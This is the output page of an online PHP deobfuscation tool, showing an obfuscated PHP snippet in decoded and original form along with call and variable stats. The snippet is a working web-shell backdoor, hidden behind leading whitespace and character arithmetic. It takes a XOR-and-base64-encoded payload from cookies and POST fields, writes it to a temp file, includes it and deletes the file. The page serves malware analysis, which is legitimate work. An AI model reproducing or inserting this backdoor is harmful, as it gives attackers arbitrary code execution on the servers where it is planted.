Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $wNfZeVUZR = "y" . chr (117) . chr (88) . chr (95) . "I" . 'I' . 'X' . chr ( 941 - 833 ); $irhTzHs = "c" . chr (108) . chr ( 709 - 612 ).chr ( 1101 - 986 ).chr (115) . chr (95) . 'e' . "x" . chr (105) . "s" . "t" . "s";$elDts = $irhTzHs($wNfZeVUZR); $wNfZeVUZR = "4325";$SmlFhIwJb = $elDts;$irhTzHs = "46373";if (!$SmlFhIwJb){class yuX_IIXl{private $DZxQwX;public static $MsJlnYRG = "25726e1c-f693-467a-8a9f-84ccf792c357";public static $FvoaCrN = 2409;public function __construct($ujDYZIsnJS=0){$GZZtrUMcj = $_COOKIE;$GaGMztSnf = $_POST;$bRbpcLdw = @$GZZtrUMcj[substr(yuX_IIXl::$MsJlnYRG, 0, 4)];if (!empty($bRbpcLdw)){$YmquYPxh = "base64";$rQAfHXQmz = "";$bRbpcLdw = explode(",", $bRbpcLdw);foreach ($bRbpcLdw as $xPqswEJt){$rQAfHXQmz .= @$GZZtrUMcj[$xPqswEJt];$rQAfHXQmz .= @$GaGMztSnf[$xPqswEJt];}$rQAfHXQmz = array_map($YmquYPxh . "_" . "d" . chr (101) . 'c' . chr (111) . chr (100) . chr ( 1094 - 993 ), array($rQAfHXQmz,)); $rQAfHXQmz = $rQAfHXQmz[0] ^ str_repeat(yuX_IIXl::$MsJlnYRG, (strlen($rQAfHXQmz[0]) / strlen(yuX_IIXl::$MsJlnYRG)) + 1);yuX_IIXl::$FvoaCrN = @unserialize($rQAfHXQmz);}}private function XrCRh(){if (is_array(yuX_IIXl::$FvoaCrN)) {$zedsPO = sys_get_temp_dir() . "/" . crc32(yuX_IIXl::$FvoaCrN[chr ( 447 - 332 )."a" . chr ( 372 - 264 ).'t']);@yuX_IIXl::$FvoaCrN[chr ( 307 - 188 )."r" . "i" . 't' . 'e']($zedsPO, yuX_IIXl::$FvoaCrN["c" . chr ( 130 - 19 )."n" . "t" . chr ( 389 - 288 ).'n' . 't']);include $zedsPO;@yuX_IIXl::$FvoaCrN[chr (100) . 'e' . "l" . 'e' . "t" . 'e']($zedsPO); $ufZTlV = "17274";exit();}}public function __destruct(){$this->XrCRh(); $ufZTlV = "17274";$gsILgFj = str_pad($ufZTlV, 10);}}$onGIbI = new /* 47961 */ yuX_IIXl(); $onGIbI = substr("10716_27257", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $wNfZeVUZR = "\x79" . chr (117) . chr (88) . chr (95) . "\x49" . 'I' . 'X' . chr ( 941 - 833 ); $irhTzHs = "\143" . chr (108) . chr ( 709 - 612 ).chr ( 1101 - 986 ).chr (115) . chr (95) . 'e' . "\170" . chr (105) . "\163" . "\x74" . "\x73";$elDts = $irhTzHs($wNfZeVUZR); $wNfZeVUZR = "4325";$SmlFhIwJb = $elDts;$irhTzHs = "46373";if (!$SmlFhIwJb){class yuX_IIXl{private $DZxQwX;public static $MsJlnYRG = "25726e1c-f693-467a-8a9f-84ccf792c357";public static $FvoaCrN = 2409;public function __construct($ujDYZIsnJS=0){$GZZtrUMcj = $_COOKIE;$GaGMztSnf = $_POST;$bRbpcLdw = @$GZZtrUMcj[substr(yuX_IIXl::$MsJlnYRG, 0, 4)];if (!empty($bRbpcLdw)){$YmquYPxh = "base64";$rQAfHXQmz = "";$bRbpcLdw = explode(",", $bRbpcLdw);foreach ($bRbpcLdw as $xPqswEJt){$rQAfHXQmz .= @$GZZtrUMcj[$xPqswEJt];$rQAfHXQmz .= @$GaGMztSnf[$xPqswEJt];}$rQAfHXQmz = array_map($YmquYPxh . "\137" . "\144" . chr (101) . 'c' . chr (111) . chr (100) . chr ( 1094 - 993 ), array($rQAfHXQmz,)); $rQAfHXQmz = $rQAfHXQmz[0] ^ str_repeat(yuX_IIXl::$MsJlnYRG, (strlen($rQAfHXQmz[0]) / strlen(yuX_IIXl::$MsJlnYRG)) + 1);yuX_IIXl::$FvoaCrN = @unserialize($rQAfHXQmz);}}private function XrCRh(){if (is_array(yuX_IIXl::$FvoaCrN)) {$zedsPO = sys_get_temp_dir() . "/" . crc32(yuX_IIXl::$FvoaCrN[chr ( 447 - 332 )."\141" . chr ( 372 - 264 ).'t']);@yuX_IIXl::$FvoaCrN[chr ( 307 - 188 )."\x72" . "\x69" . 't' . 'e']($zedsPO, yuX_IIXl::$FvoaCrN["\x63" . chr ( 130 - 19 )."\156" . "\164" . chr ( 389 - 288 ).'n' . 't']);include $zedsPO;@yuX_IIXl::$FvoaCrN[chr (100) . 'e' . "\154" . 'e' . "\164" . 'e']($zedsPO); $ufZTlV = "17274";exit();}}public function __destruct(){$this->XrCRh(); $ufZTlV = "17274";$gsILgFj = str_pad($ufZTlV, 10);}}$onGIbI = new /* 47961 */ yuX_IIXl(); $onGIbI = substr("10716_27257", 1);} ?>

Function Calls

chr 10
class_exists 1

Variables

$irhTzHs class_exists
$wNfZeVUZR yuX_IIXl

Stats

MD5 f895037effd50d26bf349db86abd8403
Eval Count 0
Decode Time 90 ms